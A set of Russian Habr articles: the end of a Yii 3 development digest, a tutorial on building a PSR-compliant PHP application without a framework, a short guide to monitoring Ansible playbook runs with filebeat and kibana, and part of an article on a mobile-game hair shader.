* Контейнер зависимостей научился обрабатывать `Reference::to()` в массивах.
* В контроллеры и формы добавлена автоматическая генерация ID на основе имени класса. Это упростит процесс конфигурирования.
* Реализован [пакет интеграции](https://github.com/yiisoft/yii-bulma) с [Bulma CSS framework](https://bulma.io/). На данный момент он используется в шаблоне приложения.
* Есть прогресс по пакету [yiisoft/yii-rest](https://github.com/yiisoft/yii-rest).
* В пакет [data добавлен метод DataReaderInterface::readOne()](https://github.com/yiisoft/data/pull/40).
Общую картину можно [наблюдать в Trello](https://trello.com/b/GiAnIAir/yii-3).
Новые и переработанные внутренние соглашения:
---------------------------------------------
* [003 — Roadmap](https://github.com/yiisoft/docs/blob/master/003-roadmap.md)
* [013 — Code Review](https://github.com/yiisoft/docs/blob/master/013-code-review.md).
Новые страницы в руководстве по фреймворку:
-------------------------------------------
* [What is Yii](https://github.com/yiisoft/docs/blob/master/guide/en/intro/what-is-yii.md).
* [Installing Yii](https://github.com/yiisoft/docs/blob/master/guide/en/start/installation.md).
* [Running Applications](https://github.com/yiisoft/docs/blob/master/guide/en/start/workflow.md).
* [Saying Hello](https://github.com/yiisoft/docs/blob/master/guide/en/start/hello.md).
* [Working with Forms](https://github.com/yiisoft/docs/blob/master/guide/en/start/forms.md).
* [Looking Ahead](https://github.com/yiisoft/docs/blob/master/guide/en/start/looking-ahead.md).
* [Middleware](https://github.com/yiisoft/docs/blob/master/guide/en/structure/middleware.md).
* [Configuration](https://github.com/yiisoft/docs/blob/master/guide/en/concept/configuration.md).
* [Aliases](https://github.com/yiisoft/docs/blob/master/guide/en/concept/aliases.md).
* [Routing and URL generation](https://github.com/yiisoft/docs/blob/master/guide/en/runtime/routing.md)
* [Authentication](https://github.com/yiisoft/docs/blob/master/guide/en/security/authentication.md).
* [Glossary](https://github.com/yiisoft/docs/blob/master/guide/en/glossary.md).
* [Начат перевод на китайский](https://github.com/yiisoft/docs/tree/master/guide/zh-CN).
Рекомендации к чтению
---------------------
* [Vue.js in legacy Yii app](https://yiifeed.com/news/495/vuejs-in-legacy-yii-app)
* [Fresh Yii and extension manuals in various formats](https://yiifeed.com/news/496/fresh-yii-and-extension-manuals-in-various-formats)
* [Yii2 & Doctrine ORM simple integration](https://yiifeed.com/news/497/yii2-doctrine-orm-simple-integration)
️ Спасибо!
----------
Хочу сказать спасибо всем спонсорам и разработчикам, благодаря которым стала возможна разработка Yii 3. Вместе у нас всё получится.
Отдельное спасибо тем, кто помог Yii 3 кодом:
* [Wilmer Arambula](https://github.com/terabytesoftw).
* [Rustam Mamadaminov](https://github.com/rustamwin).
* [Dmitry Derepko](https://github.com/xepozz).
* [Martín Peveri](https://github.com/mapeveri).
* [Hubert Strychalski](https://github.com/strychu).
* [yiiliveext](https://github.com/yiiliveext).
* [Jakharbek](https://github.com/jakharbek).
* [Aleksei Gagarin](https://github.com/roxblnfk).
* [Roman Tsurkanu](https://github.com/romkatsu).
* [Alexander Nekrasov](https://github.com/thenotsoft).
* [skugarev](https://github.com/skugarev).
* [Andrii Dembitskyi](https://github.com/andrew-demb).
* [Viktor Babanov](https://github.com/viktorprogger).
* [Thoulah](https://github.com/Thoulah).
* [Pavel Ivanov](https://github.com/rugabarbo).
* [Dmytro Naumenko](https://github.com/SilverFire).
* [Andrii Vasyliev](https://github.com/hiqsol).
* [wiperawa](https://github.com/wiperawa).
* [Trevor](https://github.com/zhuzixian520). | https://habr.com/ru/post/510202/ | null | ru | null |
# Современный PHP без фреймворков
У меня есть для вас непростое задание. Когда в следующий раз начнёте новый проект, постарайтесь обойтись без PHP-фреймворка. Я не собираюсь перечислять недостатки фреймворков, и это не проявление [синдрома неприятия чужой разработки](https://ru.wikipedia.org/wiki/%D0%A1%D0%B8%D0%BD%D0%B4%D1%80%D0%BE%D0%BC_%D0%BD%D0%B5%D0%BF%D1%80%D0%B8%D1%8F%D1%82%D0%B8%D1%8F_%D1%87%D1%83%D0%B6%D0%BE%D0%B9_%D1%80%D0%B0%D0%B7%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%BA%D0%B8): в этом руководстве мы будем использовать пакеты, написанные разработчиками нескольких фреймворков. Я всецело уважаю инновации в этой сфере.
Но эта статья не о них. Она о вас. О возможности стать лучше как разработчик.
Возможно, главным плюсом отказа от фреймворка станет знание, как всё работает под капотом. Вы будете видеть, что происходит, не полагаясь на фреймворк, который заботится о вас настолько, что вы не можете что-то отладить или до конца понять.
Возможно, ваша следующая работа не позволит вам насладиться запуском нового проекта без фреймворка. Многие важные, критические для бизнеса PHP-задачи подразумевают использование уже существующих приложений. И неважно, будет это приложение, построенное на современном фреймворке вроде Laravel или Symfony, на одной из старых платформ вроде CodeIgniter или FuelPHP — либо это удручающе широко распространённое [легаси PHP-приложение с «include-oriented архитектурой»](https://leanpub.com/mlaphp): если сейчас вы будете разрабатывать **без** фреймворка, то окажетесь лучше подготовлены к **любом**у будущему PHP-проекту.
Раньше создавать без фреймворков пытались потому, что **некоторые системы** вынуждены интерпретировать и маршрутизировать HTTP-запросы, слать HTTP-ответы и управлять зависимостями. Нехватка стандартов неизбежно приводила к тому, что как минимум **эти** компоненты фреймворков были тесно взаимосвязаны. Так что если вы начинали разрабатывать проект без фреймворка, то в конце концов приходили к созданию своего собственного фреймворка.
Но сегодня благодаря стараниям [PHP-FIG](https://www.php-fig.org/) в сфере автозагрузки и взаимной совместимости вы можете разрабатывать без фреймворка, не создавая его попутно. Существует множество замечательных, взаимно совместимых пакетов, написанных многочисленными разработчиками. И собрать их в единую систему гораздо проще, чем вы думаете!
Как работает PHP?
-----------------
Прежде всего важно понять, как PHP-приложения взаимодействуют с внешним миром.
PHP исполняет серверные приложения в цикле запрос/ответ. Всё взаимодействие с приложением — из браузера, командной строки или REST API — приходит в него в качестве запросов. При получении запроса приложение загружается, обрабатывает запрос и генерирует ответ, который передаётся обратно клиенту, а приложение закрывается. И так происходит при **каждом** обращении.
Контроллер запросов
-------------------
Вооружившись этим знанием, начнём с фронт-контроллера. Он представляет собой PHP-файл, обрабатывающий все запросы к вашему приложению. То есть это первый PHP-файл, в который попадает запрос, и (по сути) последний PHP-файл, через который проходит ответ приложения.
Давайте воспользуемся классическим примером с *Hello, world*!, обслуживаемым [встроенным в PHP веб-сервером](http://php.net/manual/en/features.commandline.webserver.php), чтобы проверить, всё ли настроено корректно. Если вы этого ещё не сделали, то удостоверьтесь, что в среде установлен PHP 7.1 или выше.
Создадим директорию проекта, в ней сделаем вложенную директорию `public`, а внутри неё — файл `index.php` с таким кодом:
```
php
declare(strict_types=1);
echo 'Hello, world!';</code
```
Обратите внимание, здесь мы объявляем строгую типизацию — это нужно делать [в начале каждого PHP-файла](http://php.net/manual/en/functions.arguments.php#functions.arguments.type-declaration.strict) вашего приложения, — потому что подсказки типов (type hinting) [важны для отладки и ясного понимания](http://paul-m-jones.com/archives/6774) теми, кто будет заниматься кодом после вас.
Далее с помощью инструмента командной строки (вроде Terminal на MacOS) перейдём в директорию проекта и запустим встроенный в PHP веб-сервер.
```
php -S localhost:8080 -t public/
```
Теперь откроем в браузере адрес <http://localhost:8080/>. Отображается *Hello, world*! без ошибок?
Отлично. Переходим к следующему шагу!
Автозагрузка и сторонние пакеты
-------------------------------
Когда вы впервые начали работать с PHP, то, вероятно, использовали выражения `include` или `require` для получения функциональности или конфигураций из других PHP-файлов. В целом этого лучше избегать, потому что другим людям потом будет гораздо труднее разобраться в коде и понять, где находятся зависимости. Это превращает отладку в **кошмар**.
Выход — автозагрузка. Это означает, что, когда вашему приложению нужно использовать какой-то класс, PHP знает, где его найти, и автоматически загружает в момент вызова. Эта возможность существует со времён PHP 5, но стала активно применяться только с появлением [PSR-0](https://www.php-fig.org/psr/psr-0/) (стандарта автозагрузки, сегодня заменён [PSR-4](https://www.php-fig.org/psr/psr-4/)).
Можно было бы пройти через тягомотину написания собственного автозагрузчика, но раз мы выбрали [Composer](https://getcomposer.org/) для управления сторонними зависимостями, а в нём уже есть очень удобный автозагрузчик, то его мы и будем использовать.
Проверьте, что у вас [установлен](https://getcomposer.org/doc/00-intro.md) Composer. Затем настройте его для своего проекта.
```
composer init
```
После этого пройдите через интерактивное руководство по генерированию конфигурационного файла `composer.json`. Затем откройте его в редакторе и добавьте поле `autoload`, чтобы получилось так, как показано ниже (тогда автозагрузчик будет знать, где искать ваши классы).
```
{
"name": "kevinsmith/no-framework",
"description": "An example of a modern PHP application bootstrapped without a framework.",
"type": "project",
"require": {},
"autoload": {
"psr-4": {
"ExampleApp\\": "src/"
}
}
}
```
Теперь установите для этого проекта Composer, которые подтянет все зависимости (если они уже есть) и настроит для нас автозагрузчик.
```
composer install
```
Обновите `public/index.php` для запуска автозагрузчика. В идеале это одно из нескольких выражений include, которые вы используете в приложении.
```
php
declare(strict_types=1);
require_once dirname(__DIR__) . '/vendor/autoload.php';
echo 'Hello, world!';</code
```
Если перезагрузить приложение в браузере, вы не увидите никакой разницы. Однако автозагрузчик работает, просто он не делает ничего тяжёлого. Давайте перенесём пример с *Hello, world!* в автоматически загружаемый класс, чтобы проверить, как всё работает.
В корне проекта создадим папку `src` и вставим в неё файл `HelloWorld.php` с таким кодом:
```
php
declare(strict_types=1);
namespace ExampleApp;
class HelloWorld
{
public function announce(): void
{
echo 'Hello, autoloaded world!';
}
}</code
```
Теперь в `public/index.php` замените выражение echo вызовом метода announce в классе `HelloWorld`.
```
// ...
require_once dirname(__DIR__) . '/vendor/autoload.php';
$helloWorld = new \ExampleApp\HelloWorld();
$helloWorld->announce();
```
Перезагрузите приложение в браузере и увидите новое сообщение!
Что такое внедрение зависимостей?
---------------------------------
Внедрение зависимостей — это методика, при которой каждая зависимость предоставляется объекту, которому она требуется, вместо того чтобы объект обращался наружу за получением какой-то информации или функциональности.
Допустим, методу класса нужно считать из базы данных. Для этого надо к ней подключиться. Обычно новое подключение создаётся с учётными данными, полученными из глобального пространства.
```
class AwesomeClass
{
public function doSomethingAwesome()
{
$dbConnection = return new \PDO(
"{$_ENV['type']}:host={$_ENV['host']};dbname={$_ENV['name']}",
$_ENV['user'],
$_ENV['pass']
);
// Make magic happen with $dbConnection
}
}
```
Но это не лучшее решение. На чуждый метод возлагается ответственность за создание объекта нового подключения к БД, получения учётных данных и обработки любых проблем в случае сбоя подключения. В результате в приложении дублируется масса кода. А если вы попытаетесь прогнать этот класс через модульное тестирование, то не сможете. Класс тесно взаимосвязан со средой приложения и базой данных.
Давайте с самого начала не будем усложнять работу с тем, что требуется классу. Просто в первую очередь потребуем, чтобы объект PDO был внедрён в класс.
```
class AwesomeClass
{
private $dbConnection;
public function __construct(\PDO $dbConnection)
{
$this->dbConnection = $dbConnection;
}
public function doSomethingAwesome()
{
// Make magic happen with $this->dbConnection
}
}
```
Получилось гораздо чище и проще для понимания, меньше вероятность ошибок. Благодаря подсказке типов и внедрению зависимостей метод объявляет именно то, что ему нужно для выполнения задачи, и получает необходимое без вызова из себя внешней зависимости. А когда речь пойдёт о модульном тестировании, мы окажемся готовы к моделированию подключения к БД и спокойно пройдём тест.
**Контейнер** внедрения зависимости — это инструмент, в который вы обёртываете всё ваше приложение ради создания и внедрения этих самых зависимостей. Контейнер не является необходимым, но значительно облегчает жизнь по мере роста и усложнения вашего приложения.
Мы воспользуемся самым популярным DI-контейнером для PHP с изобретательным названием [PHP-DI](http://php-di.org/). (Надо отметить, что в его документации внедрение зависимостей описано иначе, и кому-то так будет понятнее.)
Контейнер внедрения зависимостей
--------------------------------
Поскольку мы настроили Composer, установка PHP-DI пройдёт практически безболезненно. Для этого снова обратимся к командной строке:
```
composer require php-di/php-di
```
Обновите `public/index.php` для конфигурирования и сборки контейнера.
```
// ...
require_once dirname(__DIR__) . '/vendor/autoload.php';
$containerBuilder = new \DI\ContainerBuilder();
$containerBuilder->useAutowiring(false);
$containerBuilder->useAnnotations(false);
$containerBuilder->addDefinitions([
\ExampleApp\HelloWorld::class => \DI\create(\ExampleApp\HelloWorld::class)
]);
$container = $containerBuilder->build();
$helloWorld = $container->get(\ExampleApp\HelloWorld::class);
$helloWorld->announce();
```
Ничего особенного пока не произошло. Это лишь простой пример, где всё необходимое помещено в один файл для удобства наблюдения.
Мы [конфигурируем контейнер](http://php-di.org/doc/container-configuration.html#lightweight-container), поэтому нужно [явно объявить зависимости](http://php-di.org/doc/php-definitions.html) (а не использовать [автоматическое внедрение](http://php-di.org/doc/autowiring.html) или [аннотации](http://php-di.org/doc/annotations.html)) и извлечь из контейнера объект `HelloWorld`.
*Заметка на полях: автоматическое внедрение зависимостей может быть полезной фичей в начале создания приложения, но в дальнейшем оно усложняет сопровождение, поскольку зависимости остаются относительно скрытыми. К тому же возможно, что через несколько лет другой разработчик подключит какую-нибудь библиотеку, и в результате несколько библиотек будут реализовывать один интерфейс. Это сломает автоматическое внедрение зависимостей и приведёт к непредсказуемому потоку багов. Разработчик, внёсший изменение, может их вообще не заметить.*
Давайте ещё больше всё упростим, импортировав пространства имён там, где это возможно.
```
php
declare(strict_types=1);
use DI\ContainerBuilder;
use ExampleApp\HelloWorld;
use function DI\create;
require_once dirname(__DIR__) . '/vendor/autoload.php';
$containerBuilder = new ContainerBuilder();
$containerBuilder-useAutowiring(false);
$containerBuilder->useAnnotations(false);
$containerBuilder->addDefinitions([
HelloWorld::class => create(HelloWorld::class)
]);
$container = $containerBuilder->build();
$helloWorld = $container->get(HelloWorld::class);
$helloWorld->announce();
```
Пока что выглядит всё так, словно мы устроили суматоху ради выполнения того, что уже делали раньше.
Не беспокойтесь, контейнер нам пригодится, когда добавим несколько других инструментов, помогающих передавать запросы напрямую через приложение. Эти инструменты будут использовать контейнер для загрузки правильных классов по мере необходимости.
<https://kevinsmith.io/modern-php-without-a-framework-middleware>
Middleware
----------
Если представить приложение в виде луковицы, в которой запросы идут снаружи к центру, а ответы в обратном направлении, то middleware — это каждый слой луковицы, который получает запросы, вероятно, что-то делает с ответами и передаёт их в нижний слой либо генерирует ответ и отправляет в верхний слой. Такое случается, если промежуточный слой проверяет запросы на соответствие каким-то условиям вроде запроса несуществующего пути.
Если запрос проходит до конца, приложение обработает его и превратит в ответ. После этого каждый промежуточный слой в обратном порядке будет получать ответ, возможно, модифицировать его и передавать следующему слою.
Варианты использования промежуточных слоев:
* Отладка проблем при разработке.
* Постепенная обработка исключений в production.
* Ограничение частоты входящих запросов.
* Ответы на запросы неподдерживаемых медиатипов.
* Обработка CORS.
* Маршрутизация запросов в соответствующие обрабатывающие классы.
Промежуточный слой — это единственный способ реализации инструментов для обработки всех этих ситуаций? Вовсе нет. Но реализации middleware позволяют сделать цикл запрос/ответ гораздо понятнее, что сильно упростит отладку и ускорит разработку.
Мы воспользуемся промежуточным слоем для последнего сценария: маршрутизации.
Маршрутизация
-------------
Маршрутизатор применяет информацию из запроса, чтобы понять, какой класс должен его обработать (например, URI `/products/purple-dress/medium` должен быть обработан с помощью класса `ProductDetails::class` с передаваемыми в качестве аргументов `purple-dress` и `medium`).
Наше приложение будет использовать популярный маршрутизатор [FastRoute](https://github.com/nikic/FastRoute) через [реализацию промежуточного слоя, совместимого с PSR-15](https://github.com/middlewares/fast-route).
Диспетчер middleware
--------------------
Чтобы наше приложение стало работать с каким-либо промежуточным слоем, нам понадобится диспетчер.
[PSR-15](https://www.php-fig.org/psr/psr-15/) — это стандарт, определяющий интерфейсы для middleware и диспетчеров (в спецификации они называются «обработчики запросов»), обеспечивающий взаимосовместимость широкого спектра решений. Нам лишь нужно выбрать диспетчер, совместимый с PSR-15, и он будет работать с любым совместимым middleware.
В качестве диспетчера установим [Relay](https://github.com/relayphp/Relay.Relay).
```
composer require relay/relay:2.x@dev
```
А поскольку спецификация PSR-15 подразумевает, чтобы реализация промежуточного слоя передавала [HTTP-сообщения, совместимые с PSR-7](http://www.php-fig.org/psr/psr-7/), мы воспользуемся [Zend Diactoros](https://zendframework.github.io/zend-diactoros/).
```
composer require zendframework/zend-diactoros
```
Подготовим Relay к приёму промежуточных слоев.
```
// ...
use DI\ContainerBuilder;
use ExampleApp\HelloWorld;
use Relay\Relay;
use Zend\Diactoros\ServerRequestFactory;
use function DI\create;
// ...
$container = $containerBuilder->build();
$middlewareQueue = [];
$requestHandler = new Relay($middlewareQueue);
$requestHandler->handle(ServerRequestFactory::fromGlobals());
```
В строке 16 мы с помощью `ServerRequestFactory::fromGlobals()` будем [собирать всю информацию, необходимую для создания нового запроса](https://zendframework.github.io/zend-diactoros/usage/#marshaling-an-incoming-request) и передачи его `Relay`. Здесь запрос попадает в стек промежуточных слоев.
Теперь добавим `FastRoute` и обработчика запросов (`FastRoute` определяет, валиден ли запрос и может ли он быть обработан нашим приложением, а обработчик запросов передаёт запрос тому обработчику, что сконфигурирован для этого маршрута).
```
composer require middlewares/fast-route middlewares/request-handler
```
А теперь определим маршрут для класса обработчика *Hello, world*!.. Здесь мы воспользуемся маршрутом `/hello`, чтобы продемонстрировать возможность использования маршрута, отличающегося от базового URI.
```
// ...
use DI\ContainerBuilder;
use ExampleApp\HelloWorld;
use FastRoute\RouteCollector;
use Middlewares\FastRoute;
use Middlewares\RequestHandler;
use Relay\Relay;
use Zend\Diactoros\ServerRequestFactory;
use function DI\create;
use function FastRoute\simpleDispatcher;
// ...
$container = $containerBuilder->build();
$routes = simpleDispatcher(function (RouteCollector $r) {
$r->get('/hello', HelloWorld::class);
});
$middlewareQueue[] = new FastRoute($routes);
$middlewareQueue[] = new RequestHandler();
$requestHandler = new Relay($middlewareQueue);
$requestHandler->handle(ServerRequestFactory::fromGlobals());
```
Чтобы всё заработало, нужно обновить `HelloWorld`, сделав его вызываемым классом, то есть чтобы этот [класс можно было вызвать как функцию](https://lornajane.net/posts/2012/phps-magic-__invoke-method-and-the-callable-typehint).
```
// ...
class HelloWorld
{
public function __invoke(): void
{
echo 'Hello, autoloaded world!';
exit;
}
}
```
Обратите внимание на добавленный `exit;` в магическом методе `__invoke()`. Скоро вы поймёте, к чему это.
Теперь откройте <http://localhost:8080/hello> и наслаждайтесь своим успехом!
Клей, который всё скрепляет вместе
----------------------------------
Проницательный читатель заметит, что DI-контейнер, несмотря на все трудности его конфигурирования и сборки, на самом деле ничего не делает. Диспетчер и промежуточное ПО могут работать и без контейнера.
Так зачем он нужен?
А что, если — как это почти всегда бывает в реальных приложениях — у класса `HelloWorld` есть зависимость?
Давайте её добавим и посмотрим, что произойдёт.
```
// ...
class HelloWorld
{
private $foo;
public function __construct(string $foo)
{
$this->foo = $foo;
}
public function __invoke(): void
{
echo "Hello, {$this->foo} world!";
exit;
}
}
```
Перезагрузим браузер, и...
*Ой.*
Видим `ArgumentCountError`.
Это происходит потому, что для функционирования `HelloWorld` требуется при его создании внедрить строковое значение, а у нас это повисло в воздухе. И здесь на помощь приходит контейнер.
Давайте определим зависимость в контейнере и передадим его в `RequestHandler` для [разрешения](https://github.com/middlewares/request-handler#options).
```
// ...
use Zend\Diactoros\ServerRequestFactory;
use function DI\create;
use function DI\get;
use function FastRoute\simpleDispatcher;
// ...
$containerBuilder->addDefinitions([
HelloWorld::class => create(HelloWorld::class)
->constructor(get('Foo')),
'Foo' => 'bar'
]);
$container = $containerBuilder->build();
// ...
$middlewareQueue[] = new FastRoute($routes);
$middlewareQueue[] = new RequestHandler($container);
$requestHandler = new Relay($middlewareQueue);
$requestHandler->handle(ServerRequestFactory::fromGlobals());
```
Вуаля! При перезагрузке браузера вы должны увидеть *Hello, bar world!*.
Правильная отправка ответов
---------------------------
Помните, я упомянул о выражении `exit` в `HelloWorld`?
Это простой способ удостовериться, что мы получили простой ответ, но всё же это не лучший способ отправки выходных данных в браузер. Такой грубый подход заставляет `HelloWorld` делать лишнюю работу по отдаче отчетов — а этим должен заниматься другой класс, — что слишком усложняет отправку заголовков и [кодов статуса](https://httpstatuses.com/), а также приводит к закрытию приложения, не давая шансов запуститься промежуточному ПО, идущему **после** `HelloWorld`.
Помните, что каждый промежуточный слой имеет возможность модифицировать запрос по пути в приложение, а также (в обратном порядке) модифицировать ответ по пути из приложения. В дополнение к стандартному интерфейсу для `Request PSR-7` определяет структуру ещё одного HTTP-сообщения, которое будет нам полезно на обратной ветке цикла: `Response`. Если хотите, можете почитать подробнее о [HTTP-сообщениях и о том, чем хороши стандарты PSR-7 Request и Response](https://mwop.net/blog/2015-01-26-psr-7-by-example.html).
Обновим `HelloWorld` для возвращения `Response`.
```
// ...
namespace ExampleApp;
use Psr\Http\Message\ResponseInterface;
class HelloWorld
{
private $foo;
private $response;
public function __construct(
string $foo,
ResponseInterface $response
) {
$this->foo = $foo;
$this->response = $response;
}
public function __invoke(): ResponseInterface
{
$response = $this->response->withHeader('Content-Type', 'text/html');
$response->getBody()
->write("Hello, {$this->foo} world!");
return $response;
}
}
```
Обновим определение контейнера, чтоб `HelloWorld` предоставлялся со свежим объектом `Response`.
```
// ...
use Middlewares\RequestHandler;
use Relay\Relay;
use Zend\Diactoros\Response;
use Zend\Diactoros\ServerRequestFactory;
use function DI\create;
// ...
$containerBuilder->addDefinitions([
HelloWorld::class => create(HelloWorld::class)
->constructor(get('Foo'), get('Response')),
'Foo' => 'bar',
'Response' => function() {
return new Response();
},
]);
$container = $containerBuilder->build();
// ...
```
Если мы сейчас обновим страницу, то получим пустой экран. Приложение возвращает из диспетчера промежуточных слоев правильный объект `Response`, а потом… что?
Просто ничего с ним не делает.
Нам нужен ещё один инструмент: эмиттер. Он находится между приложением и веб-сервером (Apache, nginx и т. д.) и отправляет ваш ответ клиенту, сгенерировавшему запрос. Эмиттер просто берёт объект Response и преобразует в инструкции, доступные для понимания [серверным API](https://stackoverflow.com/a/9948058/1217620).
Хорошие новости! Пакет `Zend Diactoros`, который мы уже используем для управления запросами, включает в себя эмиттер для ответов PSR-7.
Для простоты примера мы используем здесь очень простой эмиттер. Хотя он может быть гораздо сложнее, но в случае больших загрузок реальное приложение должно быть сконфигурировано для автоматического использования потокового эмиттера. Это хорошо [описано в блоге Zend](https://framework.zend.com/blog/2017-09-14-diactoros-emitters.html).
Обновим `public/index.php` для получения `Response` от диспетчера и передачи в эмиттер.
```
// ...
use Relay\Relay;
use Zend\Diactoros\Response;
use Zend\Diactoros\Response\SapiEmitter;
use Zend\Diactoros\ServerRequestFactory;
use function DI\create;
// ...
$requestHandler = new Relay($middlewareQueue);
$response = $requestHandler->handle(ServerRequestFactory::fromGlobals());
$emitter = new SapiEmitter();
return $emitter->emit($response);
```
Перезагрузим страницу — мы снова в деле! Пришло время для более надёжной обработки ответов.
В строке 15 заканчивается цикл запрос/ответ и вступает в работу веб-сервер.
Завершение
----------
С помощью 44 строк кода и нескольких широко используемых, тщательно протестированных, надёжных, взаимодействующих друг с другом компонентов мы реализовали программу `bootstrap` современного PHP-приложения. Он совместим со стандартами [PSR-4](https://www.php-fig.org/psr/psr-4), [PSR-7](https://www.php-fig.org/psr/psr-7), [PSR-11](https://www.php-fig.org/psr/psr-11) и [PSR-15](https://www.php-fig.org/psr/psr-15), поэтому вам доступен широкий спектр реализаций HTTP-сообщений, DI-контейнеров, middleware и диспетчеров.
Мы углубились в некоторые технологии и аргументацию, но я надеюсь, вам очевидна простота программы начальной загрузки нового приложения без сопутствующего хлама фреймворка. Также надеюсь, что вы теперь лучше готовы к применению этих технологий в существующих приложениях.
Использованное в статье приложение лежит в [репозитории](https://github.com/kevinsmith/no-framework), можете свободно форкать и скачивать.
Если хотите почитать о качественных несвязанных пакетах, то очень рекомендую ознакомиться с [Aura](http://auraphp.com/), [The League of Extraordinary Packages](https://thephpleague.com/), [компонентами Symfony](https://symfony.com/components), [компонентами Zend Framework](https://zendframework.github.io/), [заточенными под безопасность библиотеками Paragon Initiative](https://paragonie.com/software) и [списком совместимого с PSR-15](https://github.com/middlewares/awesome-psr15-middlewares) middlleware.
Если воспользуетесь этим кодом в `production`, то, вероятно, вам понадобится вынести маршруты и [определения контейнера](http://php-di.org/doc/php-definitions.html) в отдельные файлы, чтобы легче было сопровождать их по мере усложнения проекта. Также рекомендую реализовать [EmitterStack](https://framework.zend.com/blog/2017-09-14-diactoros-emitters.html) для «умной» обработки скачиваний файлов и прочих больших ответов. | https://habr.com/ru/post/352122/ | null | ru | null |
# Мониторинг работы Ansible Playbook
Как-то раз я решил задействовать [ansible](https://www.ansible.com/) (очень популярный инструмент управления конфигурациями) в системе, развернутой в продакшене. Когда дело доходит до систем, развернутых в продакшене, нам очень важно знать, какие конфигурации применились успешно, а какие нет.
Некоторое время поискав решение на просторах сети, я так и не смог найти простой способ отслеживать неудачное выполнение. Поэтому я придумал следующее решение.
### Базовый рабочий процесс решения
1. Сохранение вывода плейбука в специальный файл (на каждом хосте) с помощью [log\_plays](https://docs.ansible.com/ansible/latest/collections/community/general/log_plays_callback.html).
2. Передача логов в elasticsearch с помощью [filebeat](https://www.elastic.co/beats/filebeat).
3. Наконец, визуализация информации с помощью [kibana](https://www.elastic.co/kibana/).
Базовая структура решения для мониторинга работы плейбука### Реализация решения
Весь код можно найти здесь: [monitor-ansible-playbook-executions](https://github.com/anasanjaria/monitor-ansible-playbook-executions)
Ansible предоставляет нам колбек, который записывает вывод плейбука в специальный файл на каждом хосте с помощью следующей конфигурации:
```
-- ansible.cfg
[defaults]
stdout_callback = log_plays
```
Вывод в логах плейбука будет в следующем формате:
```
time - path-to-playbook - task-name - task-command - task-status - task-output
time - path-to-playbook - task-name - task-command - task-status - task-output
```
Затем эти логи парсит filebeat (с помощью обработчика [dissect](https://www.elastic.co/guide/en/elasticsearch/reference/7.17/dissect-processor.html)). Поскольку между двумя сообщениями есть пустая строка, мы будем выполнять условный парсинг.
```
processors:
- dissect:
when:
not:
equals:
message: ""
tokenizer: "%{time} - %{playbook_path} - %{task_name} - %{task_cmd} - %{task_status} - %{task_output}"
field: "message"
target_prefix: "ansible"
```
Обработчик [script](https://www.elastic.co/guide/en/elasticsearch/reference/7.17/script-processor.html) добавит в логи информацию о хостах:
```
- script:
lang: javascript
source: >
function process(event) {
var ansible_path = event.Get("log.file.path");
var host = ansible_path.split("/").pop();
event.Put('ansible.host', host)
}
```
Наконец, логи публикуются в elasticsearch.
```
output.elasticsearch:
enabled: true
hosts: ["elasticsearch-1:9200"]
```
Теперь можно визуализировать эту информацию с помощью kibana и добавить [наблюдателей](https://www.elastic.co/guide/en/kibana/current/watcher-ui.html), чтобы информировать команду о сбоях.
Статус выполнения Ansible — успех или сбойСпасибо за внимание.
---
> Уже завтра вечером в рамках онлайн-курса OTUS «Observability: мониторинг, логирование, трейсинг» состоится открытый урок «**Организация мониторинга с помощью Grafana stack**». На уроке рассмотрим следующие темы: установка, настройка Loki и Tempo. Визуализация логов и трейсов в Grafana. Регистрация доступна для всех желающих [**на странице курса**](https://otus.pw/q8Av/).
>
> | https://habr.com/ru/post/694470/ | null | ru | null |
# Шейдер для волос туториального персонажа из Vikings: War of Clans
Не так давно мы опубликовали материал о [тестировании Unity Cloth на мобильных устройствах](https://habr.com/ru/company/plarium/blog/520490/). В другой [статье на render.ru](https://render.ru/ru/Plarium/post/20489) рассказали о том, как арт-отделу Plarium Krasnodar удалось сделать модель персонажа с высокой детализацией и при этом не перегрузить проект. Теперь давайте поговорим о работе над шейдером и анимацией для волос этой модели.
### ТЗ
Перед командой Graphic Development стояли следующие задачи:
* определить допустимый уровень детализации геометрии;
* устранить угловатость модели и текстуры;
* создать реалистичный блик;
* придать прическе подвижности.
Сначала мы решили определить требования к модели.
### Детализация геометрии
Особых требований к детализации геометрии выявлено не было (как обычно — чем меньше вершин, тем лучше). Для замера производительности мы брали тестовый незаскиненный исходник и с помощью 3D-пакета с использованием модификаторов Smooth увеличивали детализацию.
| | |
| --- | --- |
| Детализация | PlayerLoop (ms) mediana |
| 1396 вертексов | 33.15 |
| 4423 вертексов | 33.2 |
| 15537 вертексов | 33.1 |
| 58003 вертексов | 33.2 |
*Показания взяты с устройства Android Samsung Galaxy Tab S2*
### Устранение угловатости
С волосами персонажа была очевидная проблема: шейдер вместе с текстурой создавал жесткие концы, а анизотропный блик подчеркивал выступающие друг за другом полигоны волос.
Из этого стали понятны требования к текстуре и модели:
* полигоны прядей не должны пересекаться там, где виден блик, — так он будет красиво ходить по волосам, не подчеркивая угловатость;
* верхние слои прядей волос должны быть более детализированными, чем нижние, чтобы создавать общую форму и эффект подвижности.
Затем мы принялись за текстуру. Чтобы кончики волос смотрелись лучше, требовалась коррекция альфа-канала.
Здесь выбор стоял между двумя вариантами:
* первый — использовать жесткую обрезку cutout-шейдером (т. е. фильтровать альфа-канал по пороговому значению, получая полностью прозрачный или непрозрачный пиксель, без промежуточных областей);
* второй — использовать мягкий transparent-шейдер, который работает плавнее, но более требователен к железу.
Cutout shader/Transparent shader Мягкий шейдер делал всего лишь одну дополнительную операцию — читку буфера кадра (для смешивания текущего пикселя волос с уже имеющейся на экране картинкой), за счет чего и достигался плавный уход в прозрачность. К тому же занимаемая экранная площадь прически нашего персонажа и количество наложений были невелики — так что особой разницы в ресурсозатратности между шейдерами в нашем случае не оказалось. Однако с мягким шейдером волосы смотрелись лучше.
Но тут была одна загвоздка — камера отрисовывала изображение в текстуру. Поэтому для того, чтобы оно корректно обрезалось по альфе и волосы отображались на текстуре, требовался дополнительный проход, который бы эту альфу создавал.
В итоге был написан шейдер, содержащий в себе три прохода. Первый записывает правильный силуэт прически в альфу текстуры, вместе с объемом волос и их правильной обрезкой на кончиках. Второй рисует cutout-геометрию, а третий (transparent) — добавляет мягкие кончики.
### Реалистичный блик
Чтобы волосы выглядели живыми, они должны блестеть. Для достижения такого эффекта мы рассматривали два варианта: анизотропный динамический блик, реагирующий на освещение, и статичный фейковый, который мог бы облегчить обработку шейдера.
